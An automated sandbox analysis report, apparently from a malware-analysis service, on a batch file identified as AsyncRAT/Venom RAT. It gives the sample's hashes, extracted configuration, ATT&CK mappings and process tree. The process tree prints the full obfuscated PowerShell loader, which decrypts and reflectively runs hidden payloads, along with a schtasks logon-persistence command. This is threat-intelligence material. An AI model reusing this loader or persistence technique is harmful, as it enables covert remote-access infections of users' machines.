asyncrat | c47c18e4d651aa92dc1b73195fcb3732f65bc5d756e2be4d059c18302d4521f9

General

Target

Gorillataghack.bat
Size

82KB
MD5

0ad188366779a1805b951b1425a2d189
SHA1

12d28ddc3bd166b0e39f698c2f3bdb5f549bbcd0
SHA256

c47c18e4d651aa92dc1b73195fcb3732f65bc5d756e2be4d059c18302d4521f9
SHA512

c0f727ba93ab84e515c6cbad121cf0b3a994a7ff9ca44aa74ec56a89fdd436f1b666f8fb0670f9ab4231a32d2baf683a6c36b45a300bfabd24171046ae2f5c8f
SSDEEP

1536:ZIO65riaIdL6rVhkck+f7YChR1bSk4sUgG2Zc3LU:ZIOi4pCUh+fx9NHTGagI

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:38173

Mutex

dyobgaczaqehqhovs

Attributes

delay
1
install
true
install_file
gorillataghack.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2744-15-0x000001D726A00000-0x000001D726A18000-memory.dmp	family_asyncrat

Executes dropped EXE 1 IoCs

pid	Process
1812	gorillataghack.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2744	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4712	timeout.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2184	schtasks.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
2744	powershell.exe
1812	gorillataghack.exe
1812	gorillataghack.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	1812	gorillataghack.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 640 wrote to memory of 3320	640	cmd.exe	85
PID 640 wrote to memory of 3320	640	cmd.exe	85
PID 3320 wrote to memory of 2896	3320	net.exe	86
PID 3320 wrote to memory of 2896	3320	net.exe	86
PID 640 wrote to memory of 2744	640	cmd.exe	89
PID 640 wrote to memory of 2744	640	cmd.exe	89
PID 2744 wrote to memory of 1312	2744	powershell.exe	95
PID 2744 wrote to memory of 1312	2744	powershell.exe	95
PID 2744 wrote to memory of 856	2744	powershell.exe	96
PID 2744 wrote to memory of 856	2744	powershell.exe	96
PID 1312 wrote to memory of 2184	1312	cmd.exe	99
PID 1312 wrote to memory of 2184	1312	cmd.exe	99
PID 856 wrote to memory of 4712	856	cmd.exe	100
PID 856 wrote to memory of 4712	856	cmd.exe	100
PID 856 wrote to memory of 1812	856	cmd.exe	103
PID 856 wrote to memory of 1812	856	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:640
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DbZ9tqJBVMVWIuUt+CFLVGJwPH4Yb6Ql+IH0apxvlrI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OdrwPh1XnJAG52TdN4OUwA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rixmV=New-Object System.IO.MemoryStream(,$param_var); $kPvjA=New-Object System.IO.MemoryStream; $QiHHr=New-Object System.IO.Compression.GZipStream($rixmV, [IO.Compression.CompressionMode]::Decompress); $QiHHr.CopyTo($kPvjA); $QiHHr.Dispose(); $rixmV.Dispose(); $kPvjA.Dispose(); $kPvjA.ToArray();}function execute_function($param_var,$param2_var){ $JleoC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uDalF=$JleoC.EntryPoint; $uDalF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat';$bGCOv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat').Split([Environment]::NewLine);foreach ($LfoqO in $bGCOv) { if ($LfoqO.StartsWith(':: ')) { $hBxae=$LfoqO.Substring(3); break; }}$payloads_var=[string[]]$hBxae.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "gorillataghack" /tr '"C:\Users\Admin\AppData\Roaming\gorillataghack.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "gorillataghack" /tr '"C:\Users\Admin\AppData\Roaming\gorillataghack.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA41F.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:856
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:4712
  - - C:\Users\Admin\AppData\Roaming\gorillataghack.exe
      "C:\Users\Admin\AppData\Roaming\gorillataghack.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_15s5vvxk.jvo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA41F.tmp.bat

Filesize
158B

MD5
bead6f0a387678093d52091f2bd9d0e9

SHA1
ab259100ebdeda1e732de53c4ea8ed76edf29b47

SHA256
f634f4f23c591224bf98e089f116b0929b48d41502d59b363ec731bd495f7872

SHA512
0f51767e0225d1c5196694720eee71e1baccb3a9e44d1fb4e3e0b0a362fa28475eb35dc110dfa027bf5b7d1b4a9627a20a56924b37855b21e8fb6f68e351fca4

Download Submit
C:\Users\Admin\AppData\Roaming\gorillataghack.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/1812-37-0x000002EEC96B0000-0x000002EEC9726000-memory.dmp

Filesize
472KB

Download
memory/1812-36-0x000002EEC9230000-0x000002EEC9274000-memory.dmp

Filesize
272KB

Download
memory/2744-11-0x00007FFCBA700000-0x00007FFCBB1C1000-memory.dmp

Filesize
10.8MB

Download
memory/2744-14-0x000001D7269D0000-0x000001D7269E0000-memory.dmp

Filesize
64KB

Download
memory/2744-15-0x000001D726A00000-0x000001D726A18000-memory.dmp

Filesize
96KB

Download
memory/2744-22-0x00007FFCBA700000-0x00007FFCBB1C1000-memory.dmp

Filesize
10.8MB

Download
memory/2744-13-0x000001D7269C0000-0x000001D7269C8000-memory.dmp

Filesize
32KB

Download
memory/2744-24-0x00007FFCBA700000-0x00007FFCBB1C1000-memory.dmp

Filesize
10.8MB

Download
memory/2744-12-0x00007FFCBA700000-0x00007FFCBB1C1000-memory.dmp

Filesize
10.8MB

Download
memory/2744-0-0x00007FFCBA703000-0x00007FFCBA705000-memory.dmp

Filesize
8KB

Download
memory/2744-6-0x000001D726770000-0x000001D726792000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads